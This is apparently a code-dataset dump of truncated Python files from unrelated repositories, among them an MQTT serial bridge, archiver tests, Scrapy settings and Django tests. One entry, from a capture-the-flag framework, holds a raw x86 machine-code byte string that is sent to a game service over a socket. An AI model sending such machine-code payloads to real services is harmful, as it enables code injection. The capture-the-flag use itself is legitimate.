code stringlengths 3 1.05M | repo_name stringlengths 5 104 | path stringlengths 4 251 | language stringclasses 1
value | license stringclasses 15
values | size int64 3 1.05M |
|---|---|---|---|---|---|
import sys
import serial
import serial.threaded
import io
import time
import json
import paho.mqtt.client as mqtt
#### CONFIG HERE ####
# Serial Device
DEVICE = '/dev/ttyUSB0'
BAUDRATE = 38400
PARITY = 'N'
RTSCTS = False
XONXOFF = False
# Serial Operations
TIMEOUT = 1 #s
INIT_SLEEP_TIME = 3 # how many seconds do we ... | helpsterTee/cul-hass-mqtt | cul.py | Python | mit | 3,936 |
#-*- coding: utf-8 -*-
import re
import copy
import datetime
import functools
import random
from contextlib import nested
import responses
import mock # noqa
from django.utils import timezone
from django.db import IntegrityError
from mock import call
import pytest
from nose.tools import * # noqa: F403
from framewor... | saradbowman/osf.io | osf_tests/test_archiver.py | Python | apache-2.0 | 53,878 |
#!/usr/bin/env python
import random
import socket
import string
import struct
from time import sleep
# from writer
# wo_code_1 | (dword) content len | wo_code_2 | filename length 50 | \x0 | content
wo_code_1 = b'\xE8\x00\x00\x00\x00\x5F\x8D\x5F\x50\xB9\xC1\x00\x00\x00\xBA\x80\x01\x00\x00\xB8\x05\x00\x00\x00\x65\xFF\x... | diegorusso/ictf-framework | services/sillybox/codes/benign2.py | Python | gpl-2.0 | 3,517 |
#!/usr/bin/env python
#coding=utf-8
from random import shuffle as mix
import random
meximons = {
"Nopalsaur": {'ubicacion': None, 'peso': None, 'descripcion': None},
"Charmando": {'ubicacion': "Las montañas armadas", 'peso': "4 costales de frijoles", 'descripcion': "Un dragón (que si puede volar), tiene una pequeña... | mrkz/holyGrail | student/structures/dict_input.py | Python | gpl-3.0 | 5,481 |
# coding: utf-8
"""
Salt Edge Account Information API
API Reference for services # noqa: E501
OpenAPI spec version: 5.0.0
Contact: support@saltedge.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import swagger_cl... | ltowarek/budget-supervisor | third_party/saltedge/test/test_report.py | Python | mit | 842 |
import os
import unittest
from django.core.files.uploadedfile import SimpleUploadedFile
from django.forms import (
ClearableFileInput, FileInput, ImageField, ValidationError, Widget,
)
from django.test import SimpleTestCase
from . import FormFieldAssertionsMixin
try:
from PIL import Image
except ImportError:... | frankvdp/django | tests/forms_tests/field_tests/test_imagefield.py | Python | bsd-3-clause | 3,392 |
from RoguePy.libtcod import libtcod
class InputHandler():
def __init__(self):
self.key = libtcod.Key()
self.mouse = libtcod.Mouse()
self.setKeyInputs({})
self.mouseInputs = {
'rClick': None,
'lClick': None
}
self.gotInput = False
def gotInput(self):
r... | v4nz666/7drl2017 | RoguePy/Input/InputHandler.py | Python | gpl-3.0 | 1,697 |
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the Li... | dstufft/fenrir | tests/test_main.py | Python | apache-2.0 | 1,634 |
# -*- coding: utf-8 -*-
# Scrapy settings for war_texts project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# http://doc.scrapy.org/en/latest/topics/settings.html
# http://scrapy.readthedocs.org/en/late... | giuliocc/correlates-of-war-visualizacao-2017-1 | source/datasets/war_texts_dataset/spider/war_texts/settings.py | Python | mit | 3,152 |
# SET THE FOLLOWING EITHER BEFORE RUNNING THIS FILE OR BELOW, BEFORE INITIALIZING
# PRAW!
# set variables for interacting with reddit.
# my_user_agent = ""
# my_username = ""
# my_password = ""
# reddit_post_id = -1
# import praw - install: pip install praw
# Praw doc: https://praw.readthedocs.org/en/latest/index... | jonathanmorgan/reddit_collect | examples/praw_testing.py | Python | gpl-3.0 | 5,265 |
""" Starter code for simple logistic regression model for MNIST
with tf.data module
MNIST dataset: yann.lecun.com/exdb/mnist/
Created by Chip Huyen (chiphuyen@cs.stanford.edu)
CS20: "TensorFlow for Deep Learning Research"
cs20.stanford.edu
Lecture 03
"""
import os
os.environ['TF_CPP_MIN_LOG_LEVEL']='2'
import numpy as... | YeEmrick/learning | stanford-tensorflow/examples/03_logreg_starter.py | Python | apache-2.0 | 4,168 |
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "dfe.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| matuu/dfe | dfe/manage.py | Python | gpl-2.0 | 246 |
"""Statistical Language Processing tools. (Chapter 22)
We define Unigram and Ngram text models, use them to generate random text,
and show the Viterbi algorithm for segmentatioon of letters into words.
Then we show a very simple Information Retrieval system, and an example
working on a tiny sample of Unix manual pages... | ttalviste/aima | aima/text.py | Python | mit | 18,693 |
import unittest
from westpa.work_managers.serial import SerialWorkManager
from .tsupport import CommonWorkManagerTests
class TestSerialWorkManager(unittest.TestCase, CommonWorkManagerTests):
def setUp(self):
self.work_manager = SerialWorkManager()
| ASinanSaglam/westpa | tests/test_work_managers/test_serial.py | Python | gpl-3.0 | 263 |
import types
from django.utils import six
from collections import namedtuple
def serializer_class(clazz):
def _get_serializer_class(self):
return clazz
def decorator(func):
if not hasattr(func, 'cls'):
raise Exception("""@serializer_class should be above @api_view, like so:
@... | derpingallday/django-rest-swagger | rest_framework_swagger/decorators.py | Python | bsd-2-clause | 1,206 |
#!/usr/bin/env python
# Copyright 2010-2015 RethinkDB, all rights reserved.
from __future__ import print_function
import os, sys, time
startTime = time.time()
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir, 'common')))
import driver, scenario_common, utils, vcoptparse
op = v... | urandu/rethinkdb | test/interface/detect_netsplit.py | Python | agpl-3.0 | 4,619 |
import numpy as np
import tensorflow as tf
from tensorflow.contrib import rnn
def _print_success_message():
print('Tests Passed')
def test_create_lookup_tables(create_lookup_tables):
with tf.Graph().as_default():
test_text = '''
Moe_Szyslak Moe's Tavern Where the elite meet to drink
... | flaviocordova/udacity_deep_learn_project | tv-script-generation/problem_unittests.py | Python | mit | 13,018 |
from pwn import *
context.log_level='debug'
r = remote('110.10.147.29', 8282)
# r = process('./betting')
payload = 'A' * 24
r.recvuntil('name? ')
r.sendline(payload)
r.sendline('2')
r.recvuntil('Hi, ' + 'A' * 24)
leak = r.recv(8)
canary = u64(leak.ljust(8, '\x00')) - 0x0a
print hex(canary)
payload = 'A' * 40 + ... | Han3l/pwn | 2018/Codegate/Final/betting/betting.py | Python | mit | 437 |
# lint-amnesty, pylint: disable=missing-module-docstring
from django.contrib.auth.decorators import login_required
from django.core.exceptions import PermissionDenied
from django.views.decorators.csrf import ensure_csrf_cookie
from opaque_keys.edx.keys import CourseKey
from common.djangoapps.edxmako.shortcuts import r... | eduNEXT/edunext-platform | cms/djangoapps/contentstore/views/checklists.py | Python | agpl-3.0 | 1,278 |
#!/usr/bin/env python
import sys
import rospy
#To use the python interface to move_group, import the moveit_commander module
from moveit_commander import*
#Some messages
from moveit_msgs.msg import*
import baxter_interface
import std_msgs.msg
import movebx
import point_data
#New object to move the Baxter Robot
""" Ba... | enriquecoronadozu/baxter_pointpy | src/sub_pointing_both.py | Python | gpl-2.0 | 2,173 |
# -*- coding: utf-8 -*-
#
# windstress.py
#
# purpose:
# author: Filipe P. A. Fernandes
# e-mail: ocefpaf@gmail
# web: http://ocefpaf.github.io/
# created: 21-Aug-2013
# modified: Mon 21 Jul 2014 12:16:28 PM BRT
#
# obs:
#
import numpy as np
from .constants import kappa, Charnock_alpha, g, R_roughness
from ... | ocefpaf/python-airsea | airsea/windstress.py | Python | mit | 9,514 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import inspect
class MenuItemMixin(object):
"""
This mixins injects attributes that start with the 'menu_' prefix into the context generated by
the view it is applied to. This behavior can be used to highlight an item of a navigation
com... | reinbach/django-machina | example_projects/vanilla/vanilla/common/mixins.py | Python | bsd-3-clause | 662 |
import numpy as np
from functools import partial
from problem import (
generate_objective_function,
generate_objective_gradient_function,
)
from constraints import (
generate_constraints_function,
generate_constraint_gradients_function,
)
from methods import BFGS, MaximumIterationError, gradient_descen... | JakobGM/robotarm-optimization | quadratic_penalty.py | Python | mit | 3,313 |
#!/bin/python
# lw.py
# Create a Lone Wolf character.
# System errors:
# 1 - Erronous arguments given.
# 2 - Command line syntax error.
# 3 - Specified file already exists.
import os
import sys
import argparse
import wolfy_util
import wolfy_config
argparser = argparse.ArgumentParser(prog='lw', description=
... | CaterHatterPillar/wolfy | lw.py | Python | mit | 2,977 |
import asyncio
from rasa.utils.endpoints import EndpointConfig
from sanic.request import Request
import uuid
from datetime import datetime
from typing import Generator, Callable, Dict, Text
from scipy import sparse
import pytest
import rasa.utils.io
from rasa.core.agent import Agent
from rasa.core.channels.channel... | RasaHQ/rasa_nlu | tests/core/conftest.py | Python | apache-2.0 | 6,067 |
#!/usr/bin/python2
'''
Small utility to execute some llvm bitcode.
The use case is a Makefile that builds some executable
and runs it as part of the build process. With emmaken,
the Makefile will generate llvm bitcode, so we can't
just execute it directly. This script will get that
code into a runnable form, and run ... | hanxi/HXGame | libs/external/emscripten/tools/exec_llvm.py | Python | mit | 1,537 |
# (c) 2019, Evgeni Golov <evgeni@redhat.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distr... | ATIX-AG/foreman-ansible-modules | plugins/doc_fragments/foreman.py | Python | gpl-3.0 | 9,183 |
#!/usr/bin/env python2.7
import BaseHTTPServer
import argparse
import collections
import multiprocessing
import os
import re
import select
import signal
import socket
import sys
import time
import traceback
import urllib
import urlparse
VERSION = '1.2.5'
STATUS_IDLE, STATUS_BUSY, STATUS_STOP = 'IBS'
class HTTPErro... | mk23/nurly | server/httpd.py | Python | mit | 8,489 |
# -*- coding: utf-8 -*-
"""
Copyright 2005 Spike^ekipS <spikeekips@gmail.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later versi... | masiqi/douquan | libs/my_media_serve/filter/__init__.py | Python | mit | 1,782 |
#***************************************************************************
#* *
#* Copyright (c) 2014 Sebastian Hoogen <github@sebastianhoogen.de> *
#* *
#* This p... | balazs-bamer/FreeCAD-Surface | src/Mod/Sandbox/exportDRAWEXE.py | Python | lgpl-2.1 | 31,930 |
#!/usr/bin/env python
"""
Plot calcium traces and spike trains.
Examples:
c2s visualize data.pck
"""
import sys
from argparse import ArgumentParser
from pickle import dump
from numpy import corrcoef, mean, arange, logical_and
from c2s import load_data, preprocess
try:
import matplotlib
matplotlib.use('Agg')
f... | lucastheis/c2s | scripts/c2s-visualize.py | Python | mit | 2,544 |
from django.conf.urls import patterns, include, url
from views import *
urlpatterns = patterns('',
url(r'add/$', Create.as_view(), name='%s_add'%NAME),
url(r'json/$', users_json, name='%s_json'%NAME),
url(r'(?P<slug>[-_\w]+)/$', DetailView.as_view(), name='%s_detail'%NAME),
url(r'^$', ListView.as_view(... | tigeli/futurice-ldap-user-manager | fum/users/urls.py | Python | bsd-3-clause | 342 |
# Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Node classes for the AST for a Mojo IDL file."""
# Note: For convenience of testing, you probably want to define __eq__() methods
# for all node types; i... | Omegaphora/external_chromium_org | mojo/public/tools/bindings/pylib/mojom/parse/ast.py | Python | bsd-3-clause | 11,605 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import sys
import os
import argparse
import random
import cv2
import numpy as np
from scipy import misc
import tensorflow as tf
from openvision.utils import cv_util
from openvision.utils import image_utils
f... | liuzz1983/open_vision | openvision/facenet/facenet_align.py | Python | mit | 2,402 |
#!/usr/bin/python3
import unittest
import pytest
from gosa.common.components.objects import *
class ObjectsTestCase(unittest.TestCase):
def test_ObjectRegistry(self):
# Agent term is used in code comment
registry = ObjectRegistry.getInstance()
obj = object()
registry.register("obje... | gonicus/gosa | common/src/tests/common/components/test_objects.py | Python | lgpl-2.1 | 528 |
#!/usr/bin/env python
import sys
from datetime import datetime
from bot import XPostBot
from utils import clean_settings
import settings as raw_settings
if __name__ == '__main__':
settings = clean_settings(raw_settings)
xpost_bot = XPostBot(settings)
xpost_bot.login() # logged-in users get fewer cached ... | aryan348/Xpost-bot | src/main.py | Python | mit | 627 |
# Ubivar Python bindings
# API docs at https://ubivar.com/docs
# Authors:
# Fabrice Colas <fcolas@ubivar.com>
# Patrick Collison <patrick@stripe.com>
# Greg Brockman <gdb@stripe.com>
# Andrew Metcalf <andrew@stripe.com>
# Configuration variables
api_key = None
client_id = None
api_base = 'https://api.ubivar.com'
api_... | ubivar/ubivar-python | ubivar/__init__.py | Python | mit | 2,223 |
# coding=utf-8
# Copyright 2022 The TensorFlow Datasets Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... | tensorflow/datasets | tensorflow_datasets/question_answering/squad/__init__.py | Python | apache-2.0 | 736 |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2012 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#... | cloudbau/glance | glance/openstack/common/threadgroup.py | Python | apache-2.0 | 3,514 |
# -*- coding: utf-8 -*-
"""
This is the common settings file, intended to set sane defaults. If you have a
piece of configuration that's dependent on a set of feature flags being set,
then create a function that returns the calculated value based on the value of
FEATURES[...]. Modules that extend this one can change th... | sameetb-cuelogic/edx-platform-test | lms/envs/common.py | Python | agpl-3.0 | 73,520 |
from functools import reduce
def vartype(var):
if var.is_discrete:
return 1
elif var.is_continuous:
return 2
elif var.is_string:
return 3
else:
return 0
def progress_bar_milestones(count, iterations=100):
return set([int(i*count/float(iterations)) for i in range(i... | marinkaz/orange3 | Orange/widgets/utils/__init__.py | Python | bsd-2-clause | 811 |
#!/usr/bin/python
# Terminator by Chris Jones <cmsj@tenshu.net>
# GPL v2 only
"""terminalshot.py - Terminator Plugin to take 'screenshots' of individual
terminals"""
import os
from gi.repository import Gtk
import terminatorlib.plugin as plugin
from terminatorlib.translation import _
from terminatorlib.util import widg... | guoxiao/terminator-gtk3 | terminatorlib/plugins/terminalshot.py | Python | gpl-2.0 | 2,191 |
# Copyright 2015 Google Inc. All Rights Reserved.
"""Command for setting target pools of instance group manager."""
from googlecloudsdk.calliope import arg_parsers
from googlecloudsdk.calliope import exceptions
from googlecloudsdk.compute.lib import base_classes
from googlecloudsdk.compute.lib import utils
class SetT... | wemanuel/smry | smry/server-auth/ls/google-cloud-sdk/lib/googlecloudsdk/compute/subcommands/instance_groups/managed/set_target_pools.py | Python | apache-2.0 | 3,208 |
# -*- coding: utf-8 -*-
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, soft... | ed-/solum | solum/tests/api/handlers/test_service.py | Python | apache-2.0 | 3,063 |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack Foundation.
# Copyright 2012-2013 Hewlett-Packard Development Company, L.P.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may ... | markmc/oslo.packaging | oslo/packaging/packaging.py | Python | apache-2.0 | 13,089 |
# -*- coding: utf-8 -*-
from django.forms import ModelForm
from django.core.exceptions import ValidationError
from django import forms
from apps.titulos.models import NormativaNacional, EstadoNormativaNacional
class NormativaNacionalForm(forms.ModelForm):
observaciones = forms.CharField(widget=forms.Textarea, requir... | MERegistro/meregistro | meregistro/apps/titulos/forms/NormativaNacionalForm.py | Python | bsd-3-clause | 579 |
"""AppConfig for radicale."""
from django.apps import AppConfig
class RadicaleConfig(AppConfig):
"""App configuration."""
name = "modoboa_radicale"
verbose_name = "Modoboa Radicale frontend"
def ready(self):
from . import handlers
| modoboa/modoboa-radicale | modoboa_radicale/apps.py | Python | mit | 260 |
'''
doos: A multi-threaded server for running client-provided macros in OpenOffice.org
Copyright (C) 2008 - 2009 therudegesture and dustymugs
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either v... | dustymugs/doos | server/singleProcess.py | Python | gpl-3.0 | 6,168 |
from Tkinter import Tk,Canvas,Button
from PIL import Image,ImageDraw,ImageOps
import ocr_machine_learning
import ocr_utils
import digitASCII
import os
import utilities
canvasWidth = 100
canvasHeight = 200
class DrawDigit(object):
def __init__(self, digitsData):
self.digitsData = digitsData
self.checkingDigit = ... | jaysbays/digit-recognition | src/drawDigit.py | Python | mit | 3,845 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright: (c) 2015, Joseph Callen <jcallen () csc.com>
# Copyright: (c) 2017-18, Ansible Project
# Copyright: (c) 2017-18, Abhijeet Kasurde <akasurde@redhat.com>
# Copyright: (c) 2018, Christian Kotte <christian.kotte@gmx.de>
# GNU General Public License v3.0+ (see COPYING ... | andmos/ansible | lib/ansible/modules/cloud/vmware/vmware_vmkernel.py | Python | gpl-3.0 | 47,337 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2005 onwards University of Deusto
# All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution.
#
# This software consists of contributions made by many individuals,
# list... | morelab/weblabdeusto | server/src/voodoo/sessions/generator.py | Python | bsd-2-clause | 1,499 |
import acm
import ael
import FHTI_EDD_OTC_Util
import HTI_ExcelReport2
import HTI_Util
import HTI_FeedTrade_EDD_Util
from shutil import copyfile
import os
ttSaveToFile = "Check this to save the report instead of showing it."
ttCSV = "Check this to export the report in CSV format"
ttFileName = "File name and path of th... | frederick623/pb | deltaone/HTI_MTMValuationRpt_TRS.py | Python | apache-2.0 | 61,963 |
#!/usr/bin/python
#
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | GoogleCloudPlatform/datacatalog-connectors-rdbms | google-datacatalog-mysql-connector/src/google/datacatalog_connectors/mysql_/datacatalog_cli.py | Python | apache-2.0 | 3,927 |
from .main import Boxcar
def start():
return Boxcar()
config = [{
'name': 'boxcar',
'groups': [
{
'tab': 'notifications',
'name': 'boxcar',
'options': [
{
'name': 'enabled',
'default': 0,
... | Akylas/CouchPotatoServer | couchpotato/core/notifications/boxcar/__init__.py | Python | gpl-3.0 | 811 |
from django.conf.urls import url, patterns
from django.conf import settings
from . import views
urlpatterns = [
url(r'^$', views.index, name = 'index'),
url(r'^(?P<genre>\D+)/$', views.movies_by_genre,
name='movies_by_genre'),
url(r'^(?P<movie_id>[0-9]+)/details/$', views.movie_det... | kiriakosv/movie-recommendator | moviesite/movielists/urls.py | Python | mit | 736 |
# -*- coding: utf-8 -*-
from orangengine.models.base import BasePolicy
from orangengine.utils import bidict, flatten
from pandevice import policies
class PaloAltoPolicy(BasePolicy):
ActionMap = bidict({
BasePolicy.Action.ALLOW: 'allow',
BasePolicy.Action.DROP: 'drop',
BasePolicy.Action.D... | lampwins/orangengine | orangengine/models/paloalto/policy.py | Python | mit | 3,714 |
import _plotly_utils.basevalidators
class BorderwidthValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(
self,
plotly_name="borderwidth",
parent_name="histogram.marker.colorbar",
**kwargs
):
super(BorderwidthValidator, self).__init__(
plot... | plotly/python-api | packages/python/plotly/plotly/validators/histogram/marker/colorbar/_borderwidth.py | Python | mit | 553 |
"""
Spectral Convolution Problem: Compute the convolution of a spectrum.
Input: A collection of integers Spectrum.
Output: The list of elements in the convolution of Spectrum. If an element has multiplicity k, it should appear exactly k times;
you may return the elements in any order.
"""
def spectral_... | Bioinformanics/ucsd-bioinformatics-2 | Week4/SpectralConvolutionProblem.py | Python | gpl-3.0 | 1,217 |
from sge.dsp import Room
class MainMenu(Room):
""" Initial game menu """
pass
| jrrickerson/pyweek23 | src/rooms/mainmenu.py | Python | mit | 88 |
from .. import util
from .impl import DefaultImpl
import re
class SQLiteImpl(DefaultImpl):
__dialect__ = 'sqlite'
transactional_ddl = False
"""SQLite supports transactional DDL, but pysqlite does not:
see: http://bugs.python.org/issue10740
"""
def requires_recreate_in_batch(self, batch_op):
... | pcu4dros/pandora-core | workspace/lib/python3.5/site-packages/alembic/ddl/sqlite.py | Python | mit | 3,521 |
# -*- coding:utf-8 -*-
import json
import tornado.escape
import tornado.web
from torcms.core import tools
from torcms.core.base_handler import BaseHandler
from torcms.model.usage_model import MUsage
from torcms_maplet.model.json_model import MJson
from torcms_maplet.core.webdog_to_geojson import webdog_to_geojson
c... | bukun/maplet | torcms_maplet/handlers/geojson_v3.py | Python | mit | 12,587 |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-05-27 11:09
from __future__ import unicode_literals
import data_sources.fields
import django.contrib.postgres.fields.jsonb
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('data_sources', '0002_a... | ccwang002/biocloud-server-kai | src/data_sources/migrations/0003_auto_20160527_1109.py | Python | mit | 1,601 |
# -*- coding: utf-8 -*-
"""
Created on Mon Sep 12 09:23:59 2016
@author: andre
"""
num = int(input("Choose a number to convert: "))
if num < 0:
isNeg = True
num = abs(num)
else:
isNeg = False
result = ''
if num == 0:
result = '0'
while num > 0:
result = str(num%2) + result
num = num // 2
i... | andresmachado/edx-mit-6.00 | convertToIntegerFromBinary.py | Python | mit | 368 |
class Solution(object):
def isIsomorphic(self, c, d):
"""
:type s: str
:type t: str
:rtype: bool
"""
charMap = {}
for i in range(len(c)):
if c[i] not in charMap.keys() and d[i] not in charMap.values():
if c[i] != d[i]:
... | smenon8/AlgDataStruct_practice | practice_problems/isIsomorphic.py | Python | mit | 788 |
import threading, inspect, shlex
try:
import Queue
except ImportError:
import queue as Queue
try:
import readline
except ImportError:
import pyreadline as readline
class clicmd(object):
def __init__(self, desc, order = 0):
self.desc = desc
self.order = order
def __call__(self, f... | girish946/yowsup | yowsup/demos/cli/cli.py | Python | gpl-3.0 | 6,023 |
# PyTransit: fast and easy exoplanet transit modelling in Python.
# Copyright (C) 2010-2019 Hannu Parviainen
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the Licen... | hpparvi/PyTransit | pytransit/limb_darkening.py | Python | gpl-2.0 | 3,538 |
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | google/neural-light-transport | nlt/util/io.py | Python | apache-2.0 | 3,636 |
"""This script checks whether DOM has text tag or not and
creates and returns the Text object"""
import bs4
from data_models.text import Text
from extraction.content_extractors.interface_content_extractor import \
IContentExtractor
from extraction.utils import string_utils as utils
TEXT_TAGS = ['p', 'span', 'cod... | googleinterns/stampify | extraction/content_extractors/text_extractor.py | Python | apache-2.0 | 1,324 |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: mcp/v1alpha1/resource.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from googl... | geeknoid/api | python/istio_api/mcp/v1alpha1/resource_pb2.py | Python | apache-2.0 | 3,218 |
##############################################################################
# Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory.
#
# This file is part of Spack.
# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
# LLNL-CODE-64... | wscullin/spack | var/spack/repos/builtin/packages/xdm/package.py | Python | lgpl-2.1 | 1,876 |
# -*- coding: utf-8 -*-
"""Main module."""
import logging
_logger = None
def logger():
global _logger
if _logger:
return _logger
_logger = logging.getLogger(__name__)
return _logger
| starofrainnight/abhealer | abhealer/abhealer.py | Python | apache-2.0 | 214 |
import maf_iterate
args = maf_iterate.get_args()
genomes = args.assemblies.split(",") # The list to store all included genomes
with open(args.out, 'w') as Out:
for block in maf_iterate.maf_iterator(args.maf):
curr_block = maf_iterate.clean_block(block, genomes)
if maf_iterate._is_complete(curr_bl... | xzhuo/maf_merger | maf_complete_only.py | Python | mit | 388 |
from unittest import TestCase
import pytest
import pyCGM_Single.clusterCalc as clusterCalc
import numpy as np
import os
rounding_precision = 8
class Test_clusterCalc(TestCase):
"""
This class tests the coverage of all functions in clusterCalc.py,
except for printMat.
"""
def test_normalize(self):... | cadop/pyCGM | pyCGM_Single/tests/test_clusterCalc.py | Python | mit | 11,561 |
# Utility function for calculating joint positions relative to a mesh.
#
# Joint specification
# -------------------
# We express the position of a joint by a list of reference vertices and a
# relative position, e.g.
#
# "Neck": {
# "reference_vertices": [2319, 482],
# "relative_position": [0.66, 0... | bodylabs/rigger | bodylabs_rigger/joint_positions.py | Python | bsd-2-clause | 3,220 |
#!/usr/bin/env python3
import re
import socket
import winsound
from threading import Thread
import tkinter as tk
keyFile = open('keywords.txt', 'r')
keyFile = keyFile.read()
bannedFile = open('bannedwords.txt', 'r')
bannedFile = bannedFile.read()
global senderName
senderName = ""
global lastMsg
lastMsg = ""
# ----... | flygare/twitchbot | notifybot.py | Python | mit | 4,913 |
'''
BreezySLAM: Simple, efficient SLAM in Python
robots.py: odometry models for different kinds of robots
Copyright (C) 2014 Suraj Bajracharya and Simon D. Levy
This code is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as
published by the Free Soft... | rmeertens/BreezySLAM | python/breezyslam/robots.py | Python | lgpl-3.0 | 4,630 |
#
# Copyright (C) 2008 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | chenzilin/git-repo | subcmds/help.py | Python | apache-2.0 | 4,832 |
#
# Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.
#
#
# Opserver Sandesh Request Implementation
#
from sandesh.redis.ttypes import RedisUveInfo, RedisUVERequest, RedisUVEResponse
class OpserverSandeshReqImpl(object):
def __init__(self, opserver):
self._opserver = opserver
RedisUV... | tcpcloud/contrail-controller | src/opserver/sandesh_req_impl.py | Python | apache-2.0 | 768 |
import operator
NEUTRAL_SCORE = 0.25
class PWM:
def __init__(self, filename):
base_weights = []
with open(filename, 'r') as f:
base_weights = [line.strip().split(",") for line in f]
get_base_scores = lambda x: zip(['a', 'c', 'g', 't', 'n'],
... | COMBINE-lab/piquant | piquant/pwm.py | Python | mit | 859 |
# SecuML
# Copyright (C) 2017 ANSSI
#
# SecuML is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# SecuML is distributed in the hope t... | ah-anssi/SecuML | SecuML/core/DimensionReduction/Configuration/FeatureSelection/UnsupervisedFeatureSelectionConfiguration.py | Python | gpl-2.0 | 1,284 |
# package.py Contains the class package which implements the default functions to
# Find the installed version of a program, find latest version of a program,
# Download the latest version of a program, uninstall a program and handle
# dependencies for a program.
from ..utils import findHighestVersion,scrapePage,... | mason-bially/windows-installer | packages/defaultpackage/package.py | Python | mit | 20,509 |
import steel
COMPRESSION_TYPES = (
(0, 'No compression'),
(1, '8-bit RLE'),
(2, '4-bit RLE'),
(3, 'Bit Field'),
(4, 'JPEG'), # Generally not supported for screen display
(5, 'PNG'), # Generally not supported for screen display
)
class PaletteColor(steel.Structure):
blue = ... | gulopine/steel | examples/images/bmp.py | Python | bsd-3-clause | 1,701 |
from models import local_dev_model
res = local_dev_model.run_simulation(10)
import matplotlib.pyplot as plt
plt.figure()
plt.title("Locality and Effort")
plt.hold(True)
plt.plot(res['efforts'])
plt.plot(res['high_statuses'])
plt.legend(["Agents Making Effort", "Attaining High Status"], loc="best")
plt.show() | jamesporter/endogenous-polarisation | local_experiments.py | Python | gpl-2.0 | 314 |
import rdflib
import unittest
class TestSerialization(unittest.TestCase):
def test_issue_248(self):
"""
Ed Summers Thu, 24 May 2007 12:21:17 -0700
As discussed with eikeon in #redfoot it appears that the n3 serializer
is ignoring the base option to Graph.serialize...example follow... | RDFLib/rdflib | test/test_issue248.py | Python | bsd-3-clause | 2,490 |
# -*-python-*-
# GemRB - Infinity Engine Emulator
# Copyright (C) 2011 The GemRB Project
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) ... | tomprince/gemrb | gemrb/GUIScripts/ie_feats.py | Python | gpl-2.0 | 2,759 |
#!/usr/bin/env python3
import sys
import os
import os.path
import glob
import time
from io import StringIO
try:
import fluidity.regressiontest as regressiontest
except ImportError:
# try again by adding the path "../python" relative to testharness' own location to sys.path
head,tail = os.path.split(sys.argv[0])
p... | FluidityStokes/fluidity | tools/testharness.py | Python | lgpl-2.1 | 21,422 |
'''
Created on 23.10.2015
@author: selen00r
'''
import datetime
import unittest
import evalmonthly
import evalresult
def printLastDayTransaction( transactionResult, result, resultEuro ):
print str.format( '{:%Y-%m-%d} {:>6.2f} {:>6.2f} {:>6.2f} {:>6.2f} {:>6.2f} {: 2.4f} {: 8.2f}',
